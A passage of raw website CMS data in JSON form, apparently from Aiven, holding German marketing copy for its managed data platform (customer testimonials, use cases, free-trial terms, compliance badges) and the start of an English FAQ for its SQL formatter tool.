B2B-Beschaffungsplattform für technische Produkte in Europa zu werden, und seine E-Commerce-Datenbank ist das Herzstück seines Geschäfts. "}],"markDefs":[],"style":"normal"},{"_key":"0f44040d42b0","_type":"block","children":[{"_key":"c35ae8f99fb2","_type":"span","marks":[],"text":"„Die Kombination der Managed Services von Aiven ist sehr wertvoll. Wir konnten problemlos neue Dienste hinzufügen, ohne einen neuen Anbieter einbinden zu müssen. Wir können alles von einem Ort aus verwalten. Die Kosten sind transparent, und es ist für uns einfach, den Preis für die Nutzung anderer Dienste zu sehen, wenn wir vorausplanen.\""}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"70bc73d4-2f43-4499-9c4f-fbf349c35841__i18n_de","_type":"reference"},"title":"Fallstudie lesen"},"image":{"_type":"mainImage","asset":{"_ref":"image-b9548cd138f54438c8efd8d6a8d54e58860f1970-1024x270-svg","_type":"reference"}},"jobTitle":"Head of SRE and Cloud Technology, Conrad Electronic","name":"Janek Wonner"},{"_key":"109070818b88","_type":"testimonialItem","company":{"_ref":"6079f1b6-5fbf-4777-97d0-1621dc783637","_type":"reference"},"content":[{"_key":"2bbf2aad7b34","_type":"block","children":[{"_key":"3d1faea2526e0","_type":"span","marks":[],"text":"Als eine der führenden europäischen Online-Vergleichsplattformen für Produkte, Reisen und Flüge ist idealo ein datenintensives Unternehmen. "}],"markDefs":[],"style":"normal"},{"_key":"7063ae548ec6","_type":"block","children":[{"_key":"f487f2c5db75","_type":"span","marks":[],"text":"„Aiven hilft uns dabei, die steigenden Arbeitslasten und Datenmengen zu bewältigen. So können die Systeme, auf denen unser Preisvergleichsportal basiert, skaliert werden und an unsere Geschäftsanforderungen angepasst werden, während wir dabei sind, an Popularität zu gewinnen, in neue Märkte zu expandieren und unsere ehrgeizigen Wachstumsziele umzusetzen."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"3be9e9c4-7d27-4aae-b2fe-58e28b598249__i18n_de","_type":"reference"},"title":"Fallstudien lesen"},"image":{"_type":"mainImage","asset":{"_ref":"image-8fdf2cff104a37a3df84cdb80f753d4218dcdc5a-657x200-png","_type":"reference"}},"jobTitle":"Chief Technology Officer, idealo","name":"Andreas Hankel"}],"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","showCompanyLogoAndTags":false,"topOverlap":false,"variant":"logo"},{"_key":"4qmt3imhh7yifzugvwctk1k6y1kjmg92","_type":"cardList","align":"center","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"right top","backgroundSize":"auto","darkTheme":false,"disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"enez5dal4pe3tfr6hzc54wurwhmwwid5","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"ctaLink":{"_type":"link","internalLink":{"_ref":"3efca932-e77b-436e-8a30-73aa9fe4d32e","_type":"reference"},"title":"Weitere Informationen"},"subtitle":[{"_key":"dc22e8199692","_type":"block","children":[{"_key":"a1f5738e78d70","_type":"span","marks":[],"text":"Erstellen Sie AI-gestützte Kundendienstagenten, um große Datenmengen in Spitzenzeiten zu bewältigen."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7298a0d02664","_type":"block","children":[{"_key":"c9494391c30c0","_type":"span","marks":[],"text":"Erstellen Sie personalisierte Such- und Kommunikationserfahrungen für Kunden, um den Umsatz zu steigern."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d34a1ddc69f9","_type":"block","children":[{"_key":"c8f3e64537cd0","_type":"span","marks":[],"text":"Implementieren Sie Echtzeit-Streaming zur Verbesserung der operativen Effizienz im Supply Chain Management."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Aiven für den Einzelhandel","variant":"icon-card"},{"_key":"0hnhq58nkmpz5oi3va7mng4imdvvnfx4","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"ctaLink":{"_type":"link","internalLink":{"_ref":"fcb16d8d-4a32-48c4-a382-5e06a395fb53","_type":"reference"},"title":"Weitere Informationen"},"subtitle":[{"_key":"11e8af711b7b","_type":"block","children":[{"_key":"438eab239c370","_type":"span","marks":[],"text":"Stellen Sie Ihrer AI-Daten in Echtzeit und kontrolliert zur Verfügung."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e037186621e1","_type":"block","children":[{"_key":"e6a9668207290","_type":"span","marks":[],"text":"Optimieren Sie Anwendungen in Bezug auf Leistung und Skalierbarkeit, bevor Sie sie für die Produktion freigeben."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f099a08a52fb","_type":"block","children":[{"_key":"ba7fb253b71b0","_type":"span","marks":[],"text":"Speichern Sie generative AII-Einbettungen neben Ihren operativen Daten, ohne neue Technologien integrieren zu müssen."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Aiven für AI","variant":"icon-card"},{"_key":"zhdip9n3lcqjr2s9sq63blen2loijzxd","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"ctaLink":{"_type":"link","internalLink":{"_ref":"e1b9d5ed-f457-4a71-9b77-9e6bb54fca2e","_type":"reference"},"title":"Weitere Informationen"},"subtitle":[{"_key":"dd0c0df1b4d0","_type":"block","children":[{"_key":"4efe56ca4118","_type":"span","marks":[],"text":"Optimieren Sie Ihre Cloud-Investitionen, indem Sie die Entwicklungszeit maximieren und gleichzeitig die Datenbankwartung reduzieren. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d735974d30c8","_type":"block","children":[{"_key":"45529a0afebe0","_type":"span","marks":[],"text":"Verbessern Sie mit dem AI Database Optimizer von Aiven die Datenbank-Performance mit wenigen Klicks."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"035ed64ffa55","_type":"block","children":[{"_key":"2efd737a59990","_type":"span","marks":[],"text":"Schreiben Sie schneller leistungsfähigen Code, indem Sie Vorschläge zum Neuschreiben von Indizes und SQL-Abfragen erhalten."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"zwuad9b4qpq4b3uitq672hk9jkmgcfsn","_type":"block","children":[{"_key":"qrisgxs3dohcqqxvlunxtzhfvfczcggd","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"title":"AI-Datenbank-Optimierung","variant":"icon-card"}],"itemsPerRow":3,"noSpaceTop":false,"roundedCorners":"rounded-tl-br","subtitle":[{"_key":"97lazljmsp9twm780y3fsbpsnriybjfr","_type":"block","children":[{"_key":"7hjc74em3yslfu5pi1evunrk71xgv4g8","_type":"span","marks":[],"text":"Entdecken Sie weitere Anwendungsbeispiele für die Aiven Plattform. Besuchen Sie unsere Seite für Problemlösungen."}],"markDefs":[],"style":"normal"}],"title":"Anwendungsfälle"},{"_key":"lebd0ozvhlmdc5kya39im37g80s2sgp2","_type":"arcade","addSpaceBottom":false,"addSpaceTop":false,"arcadeHeight":56,"arcadeID":"Qu23OFL2otb0JrreOt4L","arcadeTitle":"Create service","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"id":"demo","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"cdd1ba465df2","_type":"block","children":[{"_key":"55fe0c55b5d10","_type":"span","marks":["62d0331711d9"],"text":"Kostenloses Angebot"},{"_key":"88356aa45a1f","_type":"span","marks":[],"text":" verfügbar für Aiven for PostgreSQL, Aiven for Valkey und Aiven for MySQL. Kostenlose 30-Tage-Testversion verfügbar, um alle unsere Dienste zu testen! Enthält:"}],"markDefs":[{"_key":"62d0331711d9","_type":"link","href":"https://aiven.io/docs/platform/concepts/free-plan"}],"style":"normal"},{"_key":"2fdb7e159a38","_type":"block","children":[{"_key":"e0f2dc4c3e06","_type":"span","marks":[],"text":"$300 Guthaben "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c98b4ad96cec","_type":"block","children":[{"_key":"a3f0be2ea2bf","_type":"span","marks":[],"text":"Uneingeschränkter Zugang zu allen Aiven-Diensten "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7197f913bd6c","_type":"block","children":[{"_key":"fc2d4109c1cc","_type":"span","marks":[],"text":"Wenn Sie Aiven nach der "},{"_key":"990356a7fc95","_type":"span","marks":["2c4ff8b11987"],"text":"30-tägigen Testphase"},{"_key":"fcde73c5fb1b","_type":"span","marks":[],"text":" weiter nutzen, zahlen Sie nur für das, was Sie auch wirklich verwenden. Es gibt keine versteckten Gebühren. Sie können Aiven mit einem einzigen Mausklick deaktivieren, Cluster erstellen, Dienste hinzufügen oder den Cloud-Anbieter wechseln. "},{"_key":"65813db80cb8","_type":"span","marks":["8f848da9e30a"],"text":"Jetzt ausprobieren!"}],"markDefs":[{"_key":"2c4ff8b11987","_type":"link","href":"https://aiven.io/docs/platform/concepts/free-trial"},{"_key":"8f848da9e30a","_type":"link","href":"https://console.aiven.io/signup"}],"style":"normal"}],"tagline":"TESTEN SIE DIE AIVEN PLATTFORM","title":"Schnell und einfach","topOverlap":false,"variant":"split"},{"_key":"vd8db85euaqms0deld241oqdmx0tbveo","_type":"serviceList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","compliance":[{"_key":"d5zv5ef0ivd59b5ml92vkj7vi70qgjmt","_type":"textIconItem","icon":{"_type":"mainImage","alt":"ISO 27001 logo","asset":{"_ref":"image-1bdfde2875e6ddebd644205ed02f511116278f6a-40x40-svg","_type":"reference"}},"title":"ISO 27001 / 27017 / 27018 / 27701"},{"_key":"b6aqkh0wxxgz117ccn3lb27z5k0vi9a1","_type":"textIconItem","icon":{"_type":"mainImage","alt":"SOC2 logo","asset":{"_ref":"image-83778ee98c9e049769d003e7a753efa4b63a276b-40x40-svg","_type":"reference"}},"title":"SOC2"},{"_key":"ikrzgycf32cs77ubw1462v4zvs1cljlr","_type":"textIconItem","icon":{"_type":"mainImage","alt":"HIPAA logo","asset":{"_ref":"image-a315c2be874b3ceebef8ad2dedd9e8ebf0735b66-40x40-svg","_type":"reference"}},"title":"HIPAA"},{"_key":"akma9qv50pk51m5pxeqq8h2gsl431sbn","_type":"textIconItem","icon":{"_type":"mainImage","alt":"PCI-DSS logo","asset":{"_ref":"image-755a96d4bd3934033e98ac391d913265d09537af-40x40-svg","_type":"reference"}},"title":"PCI-DSS"},{"_key":"vhg380mhrek4p6u6o4adzxfcecazgvld","_type":"textIconItem","icon":{"_type":"mainImage","alt":"GDPR logo","asset":{"_ref":"image-203403621ac80cf3125943af581ab051cfe3b2fc-40x40-svg","_type":"reference"}},"title":"GDPR"}],"disabled":false,"fullWidth":true,"hostProviders":[{"_key":"pdc20mjf7mco6yvb1bvgtwzlfbbmnt4g","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"mnf0p221x102xyq6wunzcxuicscq61cn","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"stak6z3wunhxetiffxfb5gb2xpqgh2fb","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"9k8nvhgda5t4ubr3msyw3pp2dn1gam44","_ref":"258b8e39-3cd1-44ef-a40b-bedd6c834665","_type":"reference"},{"_key":"6ucstze5fsuj7dgw2w56cdrcxose6rgf","_ref":"2c2f2baa-24b0-4b7a-812b-bed3f20f2030","_type":"reference"},{"_key":"hb0rwjt6gxfknc1k7bmur2jnd6ng9i6i","_ref":"6ed4cb03-b0d9-4009-bbf7-382ca41bcf26","_type":"reference"},{"_key":"snss1o9riiv1taap4o0dzk77r2toctxb","_ref":"9039a507-d3b4-402a-964b-6fa829d56ef8","_type":"reference"}],"identity":[{"_key":"jjl1ac2qn12rkkmzq2ec4u8mrleroeto","_type":"textIconItem","icon":{"_type":"mainImage","alt":"Auth0 logo","asset":{"_ref":"image-2aadb73ffc8ecbc3747f4ba5ca1705b1e1f9e776-38x48-png","_type":"reference"}},"title":"Auth0"},{"_key":"l5s6qsosrvjm1twmpowaby44q4mt9968","_type":"textIconItem","icon":{"_type":"mainImage","alt":"FusionAuth logo","asset":{"_ref":"image-464fc02ec7c43c5947991a0eb54dacf652749812-47x48-png","_type":"reference"}},"title":"FusionAuth"},{"_key":"1xvcx1szzlyeyi3xoszwi8xi39z1ut3k","_type":"textIconItem","icon":{"_type":"mainImage","alt":"Azure AD logo","asset":{"_ref":"image-6ea6284e995c0582493b818cbddd45f5b331204c-512x512-png","_type":"reference"}},"title":"Azure AD"},{"_key":"lxwxhh6ewo550a7djw6rdsh2y9signec","_type":"textIconItem","icon":{"_type":"mainImage","alt":"Okta logo","asset":{"_ref":"image-7ca00d77106a3a3e685189391226e0a369971d49-512x512-png","_type":"reference"}},"title":"Okta"},{"_key":"ekjeupxyg22alf8qtrc0lzlogvo3x1sv","_type":"textIconItem","icon":{"_type":"mainImage","alt":"OneLogin logo","asset":{"_ref":"image-cf4caddee0c6423b881728ae13d5e028bac6ee1a-462x462-png","_type":"reference"}},"title":"OneLogin"},{"_key":"4ufx1yijyanx5gn8rh8dac4uo762x8cu","_type":"textIconItem","icon":{"_type":"mainImage","alt":"Google logo","asset":{"_ref":"image-67c9baae7ccc0cddbb36097f4245bb85e5bd15b5-49x48-png","_type":"reference"}},"title":"Google"}],"integrations":[{"_key":"eavw6aohv8ylvugghd4ceqedq8p07exl","_ref":"22d8ccfb-b77c-4029-94c0-c7519397935a","_type":"reference"},{"_key":"0tqh8ivomce1tvw7z0pnxaf09hhcecgf","_ref":"6b6199d0-5ca3-421d-91df-82fb15688d28","_type":"reference"},{"_key":"st51izrg2f89o4qeo475mqbi0aop45zx","_ref":"2ba1dfda-6041-4ac9-b258-085aa41ebfa1","_type":"reference"},{"_key":"wdfnfabshg8t6ezz8u7vhzzna4y2jxeh","_ref":"beb356d4-e5a4-4c9c-abfa-9f58e3d9cebc","_type":"reference"},{"_key":"eq677n9ndj5c4z5zcpysms1j28on0mfc","_ref":"fb7167db-3a21-49ad-836b-c1b8b34eaa77","_type":"reference"},{"_key":"oaiq072ej3m06f4undgjy29o2c734dnr","_ref":"5965cdaa-ee18-4090-a084-62463619b757","_type":"reference"},{"_key":"1xynp5hwilydl5q1l442tyrxm1m6m5bs","_ref":"ab20f261-f294-45ca-8289-e369255c7366","_type":"reference"},{"_key":"fq1csy5k4pk2labe3kdv11aimik5m11e","_ref":"db1c8e5c-df2f-48b1-aae4-852962d61aeb","_type":"reference"},{"_key":"7d6ihqnb7heqalq53cd2eehncsymhgt4","_ref":"98cebc13-16ae-42db-a6de-4458949c0dc3","_type":"reference"},{"_key":"2yeg3f1liu5xpaculco47l7f9faxffd1","_ref":"76a88a82-92c9-409d-9f30-30207c9ba701","_type":"reference"},{"_key":"qf3lzwzge4f9g27kvf950lxccgid3f45","_ref":"5007821b-436e-4ebb-8a07-242c4a5f7448","_type":"reference"},{"_key":"5jhcndpmiyd1sg05ug3bdwjte7bp7xix","_ref":"157b3267-4eb0-49eb-ad17-537d5a95772d","_type":"reference"},{"_key":"k3p04rnqap5lxdau4qy7g9jui2dlb97k","_ref":"4bed5fe2-e20e-4edc-b54b-5bb47e9fd982","_type":"reference"},{"_key":"y4vc5cnko7v60039gutthla603b919ni","_ref":"4b76ba83-b8b9-4f4e-b04f-670c2994ce1e","_type":"reference"}],"managed":[{"_key":"iqfoda9asv9ffam56u3aboys6io1whd0","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-380123baa06f9ca6bb46fe482bdcc97c47209fa5-40x40-svg","_type":"reference"}},"title":"Option for 24/7 enterprise support"},{"_key":"ag3ol8307u9p3ubffo5784fia59lisdz","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-8474ceba50fe54d50d2670a9c9addbaa3cda6c3a-40x40-svg","_type":"reference"}},"title":"99,99% uptime"},{"_key":"cg2pcj9lyggvxq3f3upbu4km34hi4q0h","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-e78c0cfc10eb10e0f1755722c4e90bca06cb515b-40x40-svg","_type":"reference"}},"title":"High availability"},{"_key":"i4n3kkjxdwotlbtnclfukjhsgr7u8dgk","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-9c38e4da11ad04c0092f9636f7a9fd83031bd77d-40x40-svg","_type":"reference"}},"title":"6+ clouds and 100+ regions"},{"_key":"utsfdzs7yvcslri96qvd329v9kvhc1e7","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-9b722bb976b2ca9767d6e95bbe71206a156c84f8-40x40-svg","_type":"reference"}},"title":"Automated backup"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-t","securityNetwork":[{"_key":"fvocndcpis6320vsovdwvs8n7jsunfpz","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-c195dd4a51d06e7435afd3a72c230871cb99de24-40x40-svg","_type":"reference"}},"title":"Encryption in transit and at rest"},{"_key":"59jkfh5valoinndddtxrhsk95lhpssqc","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-7129481004ef88ea22a8c2f6a2c7daaf7126bb9a-40x40-svg","_type":"reference"}},"title":"Dedicated virtual machines"},{"_key":"xquzcqg7mii11mwa3nvt1hgg7kx4g9jt","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-cf142cafaab2b83bf2b2fa991a3a582da04545b1-40x40-svg","_type":"reference"}},"title":"Automated security updates"},{"_key":"78ev9886q4mi7wjhkcbhsegsrx5ey40c","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-4101100615713e748e9a72604adb0a26b86ab150-40x40-svg","_type":"reference"}},"title":"VPC Peering"},{"_key":"0oo2a9krv0jhb20hbmda0bscx787lugl","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-f3ffa2a39382f848d72e84cb80bda5c8df0c4088-40x40-svg","_type":"reference"}},"title":"Private-link"},{"_key":"96vv4qn8kki9eqk6yxe9qumo8b7ncrpu","_type":"textIconItem","icon":{"_type":"mainImage","asset":{"_ref":"image-e5612d6f4c1fce0ace581f6e2b1ff516f266ee26-40x40-svg","_type":"reference"}},"title":"Transit-gateway"}],"services":[{"_key":"kwwhd5n36al3f3jz3kksvqy56emmhsex","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"08977ec08692854e76376579aa92ec53","_ref":"fa631193-9a6d-498e-8545-af24408bef0b","_type":"reference"},{"_key":"c63e4ce6b7b2ca69454d294dd5a71a3f","_ref":"62cedd51-63b9-476e-8e2e-9076cef60562","_type":"reference"},{"_key":"rnt0u8dr80iazdxrlzldzazs56or1hdh","_ref":"1e5afeea-8442-4a65-84fd-5475f78e09b3","_type":"reference"},{"_key":"c0c480007790","_ref":"db342e52-911f-4028-8bf6-22a131000126","_type":"reference"},{"_key":"0662a909c469","_ref":"dbcea4b7-b6c9-43d7-a23f-b09594966858","_type":"reference"},{"_key":"93z9e8kweis3l2lelxzuperi61qczo7v","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"},{"_key":"k025bt7xmak6q9w24nfsaqwocpy26qyr","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"reference"},{"_key":"1nugagna7pwfplbjpje5bim8qkyn7exz","_ref":"32901e10-74d0-48c8-a797-be1bb58c8839","_type":"reference"},{"_key":"ktsdhe6yd3qjxpv10hrwlt7upp7gx83y","_ref":"15ecb747-c8c1-42ad-baab-e7551844a508","_type":"reference"},{"_key":"yunqvg2cmqmhj9baktjn5u7xmdm424wn","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"},{"_key":"i15tjfil421an4sz5yjh30dzcsh64bvt","_ref":"d0c7af0a-c0a3-4169-83ad-6ac0bcda70a1","_type":"reference"},{"_key":"yt142m719ob5zm1ht00ovgxqmkqxufuh","_ref":"c6ff24d7-20df-4041-a816-2f7f934c0b80","_type":"reference"},{"_key":"qx24k94kcsa3a09pa6792jl641yvkbtm","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"reference"}],"subtitle":[],"title":"Wie funktioniert das alles zusammen","tools":[{"_key":"muya0gn2zq9rwrz65fj6gk1a2h8p5g4x","_ref":"fa4d544f-efa9-4a82-9ef7-74f714d5f34f","_type":"reference"},{"_key":"hkzr3jj2qomth7zisrtl9puox68jyb13","_ref":"2c9ddba5-c82b-4166-95c8-22f314164f97","_type":"reference"},{"_key":"vfidqla8xgwh2p3hvjsqqaz5970ygq9c","_ref":"9096ab2c-f4cd-421e-aa1a-b10d462d6011","_type":"reference"},{"_key":"p6hs0wygk9m5xn8g03ioiox6n6gjhxgl","_ref":"7179878d-2860-4cc5-a30e-a1e24b236517","_type":"reference"}]},{"_key":"bj1tef3jfxfv4pnqv1rlheodnd08j8ex","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-ba35631acc0eb21098da3e2f4d7d78198ce29710-2528x428-png","_type":"reference"}},"imagePosition":"center","mediaWidth":"sm","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Jetzt kostenlos starten"},"roundedCorners":"rounded-none","secondaryCTA":{"_type":"link","internalLink":{"_ref":"16b06c52-bdff-4f7c-90f7-f564e1faac21","_type":"reference"},"title":"Entdecken Sie unsere Preise"},"text":[{"_key":"961814ad589f","_type":"block","children":[{"_key":"643117f78d0f0","_type":"span","marks":[],"text":"All inclusive Preise, damit es am Monatsende keine Überraschungen gibt.\nKeine zusätzlichen Wartungs-, Netzwerk- oder Speicherkosten."}],"markDefs":[],"style":"normal"}],"title":"Starten Sie noch heute mit Aiven","topOverlap":false,"variant":"mediaCenter"}],"seo":{"_type":"metaData","metaDescription":"An open platform to stream, store and analyze data. Fully managed service, available on all major clouds.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-3bc8f54e3cd967109065416bc63bc34c62c861b1-1200x630-jpg","_type":"reference"}},"metaStructuredData":"{\n \"name\": \"Aiven Platform\",\n \"@type\": \"SoftwareApplication\",\n \"@context\": \"http://schema.org\",\n \"keywords\": \"Managed database\",\n \"description\": \"Aiven Platform is a unified, cloud-agnostic platform to stream, store, and serve data on any cloud.\",\n \"featureList\": \"Cross-cloud and cross-region disaster recovery, AI-driven insights, High availability, Available in Google Cloud Platform, Available in Amazon Web Services, Available in Microsoft Azure, Available in DigitalOcean\",\n \"softwareHelp\": {\n \"url\": \"https://aiven.io/docs\",\n \"@type\": \"CreativeWork\"\n },\n \"operatingSystem\": \"N/A\",\n \"applicationCategory\": \"Open Source distributed messaging system\",\n \"applicationSubCategory\": \"Message bus\"\n}","metaTitle":"Aiven Platform"},"slug":{"_type":"slug","current":"/platform"},"title":"Aiven Platform"} {"__i18n_lang":"en","_createdAt":"2024-10-09T08:21:20Z","_id":"a90fd771-37de-409a-b1ac-051a49883f80","_rev":"tW1iVB3M02HkZ9xlO0ZjG6","_type":"page","_updatedAt":"2025-01-11T08:33:36Z","content":[{"_key":"b569mx9yckbteq91o0c5na6kydla61ke","_type":"cardList","addSpaceBottom":false,"addSpaceTop":true,"align":"center","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","compact":false,"disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"89ruvxfgsvlpoci2oret3er85js47q7a","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://plugins.jetbrains.com/plugin/17399-sql-optimizer-sql-formatter-sql-indexing-postgresql-and-mysql","title":"Get from JetBrains plug-in"},"image":{"_type":"mainImage","alt":"Copyright © 2024 JetBrains s.r.o. JetBrains and the JetBrains logo are trademarks of JetBrains s.r.o.","asset":{"_ref":"image-0771e57a89ed3fd31f33b80fb9336d5324a9dc72-298x64-svg","_type":"reference"}},"title":"JetBrains","variant":"icon-card"},{"_key":"factwk80u29m5jr4de2rckgoutjrw4ww","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://marketplace.visualstudio.com/items?itemName=Aiven.aiven-sql-optimizer-extension","title":"Get from Microsoft marketplace"},"image":{"_type":"mainImage","asset":{"_ref":"image-1a77aa13a9d57858dc26c0c784fa8debc20dd110-100x100-svg","_type":"reference"}},"title":"Visual Studio Code","variant":"icon-card"}],"itemsPerRow":4,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","title":"Optimize and format SQL from your favorite IDE","topOverlap":false},{"_key":"aa8fc3664aba","_type":"accordion","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","isFaqAccordion":true,"items":[{"_key":"82cf7835e946","_type":"accordionItem","panelText":[{"_key":"9e72947a8ea2","_type":"block","children":[{"_key":"decf52c0af1b0","_type":"span","marks":[],"text":"An SQL formatter is a free online tool designed to beautify and standardize your SQL code. It enhances readability and ensures your queries follow consistent formatting conventions."}],"markDefs":[],"style":"normal"}],"title":"What is the SQL formatter?"},{"_key":"6e3e30fa7a6a","_type":"accordionItem","panelText":[{"_key":"2ca659e667fb","_type":"block","children":[{"_key":"b587ff1043ca0","_type":"span","marks":[],"text":"Our SQL formatter currently supports a variety of dialects, including:"}],"markDefs":[],"style":"normal"},{"_key":"6a9ed249800c","_type":"block","children":[{"_key":"e4ba95ca27c60","_type":"span","marks":[],"text":"MySQL"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"99a4631fa648","_type":"block","children":[{"_key":"76d1e73c72140","_type":"span","marks":[],"text":"PostgreSQL"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ffd50ae7ffa6","_type":"block","children":[{"_key":"e0a2e165b9da0","_type":"span","marks":[],"text":"Snowflake"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"93dc391b4ea4","_type":"block","children":[{"_key":"ef7401ac94ba0","_type":"span","marks":[],"text":"MariaDB"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"cbd9f8cad3c6","_type":"block","children":[{"_key":"f07bae31da160","_type":"span","marks":[],"text":"GCP BigQuery"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e3051d6e38d1","_type":"block","children":[{"_key":"32c0477c467b0","_type":"span","marks":[],"text":"SQLite"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a775b28b139d","_type":"block","children":[{"_key":"06fedff8ebe10","_type":"span","marks":[],"text":"IBM DB2"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"bbb3366fb8a5","_type":"block","children":[{"_key":"2846f65f9c500","_type":"span","marks":[],"text":"Apache Hive"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1759a432d158","_type":"block","children":[{"_key":"441a93e6cff70","_type":"span","marks":[],"text":"Couchbase N1QL"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"de89fb59b217","_type":"block","children":[{"_key":"fab9b0341d360","_type":"span","marks":[],"text":"Oracle PL/SQL"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"65ded96c97a3","_type":"block","children":[{"_key":"06d305a2ee680","_type":"span","marks":[],"text":"Amazon Redshift"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"74dd145d9949","_type":"block","children":[{"_key":"69fbce3d86e90","_type":"span","marks":[],"text":"SingleStoreDB"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9efe9b4a505e","_type":"block","children":[{"_key":"ce789f1b89030","_type":"span","marks":[],"text":"Spark"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Which SQL dialects does the formatter support?"},{"_key":"39b4d39d7ead","_type":"accordionItem","panelText":[{"_key":"b4e35e3cafe5","_type":"block","children":[{"_key":"de25b5f737870","_type":"span","marks":[],"text":"Using the SQL formatter is easy! Simply follow these steps:"}],"markDefs":[],"style":"normal"},{"_key":"62b90e9b1354","_type":"block","children":[{"_key":"61edd3fd6c820","_type":"span","marks":["strong"],"text":"Select a Dialect:"},{"_key":"61edd3fd6c821","_type":"span","marks":[],"text":" Choose the appropriate SQL dialect from the dropdown menu. This step is crucial, as selecting the correct dialect ensures that you receive the most accurate formatted query."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"6164414d18fa","_type":"block","children":[{"_key":"a33afc320afe0","_type":"span","marks":["strong"],"text":"Input Your SQL 